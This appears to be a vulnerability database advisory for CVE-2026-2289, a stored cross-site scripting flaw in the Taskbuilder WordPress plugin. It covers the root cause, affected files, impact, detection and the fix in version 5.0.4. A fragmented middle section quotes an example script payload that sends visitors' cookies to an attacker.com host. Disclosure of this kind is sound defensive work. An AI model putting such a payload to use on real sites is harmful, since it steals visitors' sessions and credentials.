
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-2289 is a Stored Cross-Site Scripting (XSS) vulnerability in the Taskbuilder – Project Management & Task Management Tool With Kanban Board plugin for WordPress. It affects all versions up to and including 5.0.3, stemming from insufficient input sanitization and output escaping in admin settings. The vulnerability was published on March 4, 2026, and assigned a CVSS v3.1 base score of 4.4 (Medium) (Wordfence, ENISA EUVD).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). Specifically, the plugin fails to properly sanitize administrator-supplied input stored via admin settings and does not escape output when rendering those values on pages, allowing injected scripts to persist and execute in victims' browsers. Vulnerable code paths have been identified in includes/admin/email_notifications/wppm_get_en_general_setting.php (line 30) and includes/class-wppm-functions.php (line 19). Exploitation requires administrator-level authentication and is only applicable to multi-site WordPress installations or single-site installations where unfiltered_html has been disabled (Wordfence, WordPress Trac).
Successful exploitation allows an authenticated attacker with administrator-level privileges to inject persistent malicious JavaScript into WordPress pages, which executes in the browsers of any user who visits the affected page. This can lead to session hijacking, credential theft, defacement, or delivery of further malicious payloads to site visitors. The scope is changed (S:C in CVSS), meaning the impact can extend beyond the attacker's own session to affect other users, though availability is not directly impacted (Wordfence, ENISA EUVD).
No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the time of publication. The EPSS score is approximately 0.025% (0.000250), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for administrator-level credentials and specific WordPress configuration (multi-site or unfiltered_html disabled), significantly limiting the attack surface (Wordfence, ENISA EUVD).
unfiltered_html disabled, using tools like WPScan or manual inspection of plugin directories.<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field such as an email notification setting.wppm_get_en_general_setting.php or class-wppm-functions.php.includes/admin/email_notifications/wppm_get_en_general_setting.php and includes/class-wppm-functions.php for unexpected modifications.wp_options or related tables containing script tags (<script>) or encoded JavaScript within Taskbuilder plugin settings values.Users should update the Taskbuilder plugin to version 5.0.4 or later, which includes the fix committed in the WordPress plugin repository (changeset 3468819). The patch addresses insufficient input sanitization and output escaping in the affected files. As a temporary workaround, administrators can ensure unfiltered_html is enabled on single-site installations (which prevents exploitation) or restrict administrator account access until the update is applied (Wordfence, WordPress Trac Changeset).
The vulnerability was discovered and reported by Wordfence, which published the advisory and coordinated disclosure. No significant broader media coverage or notable researcher commentary beyond the standard advisory has been identified for this medium-severity vulnerability.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."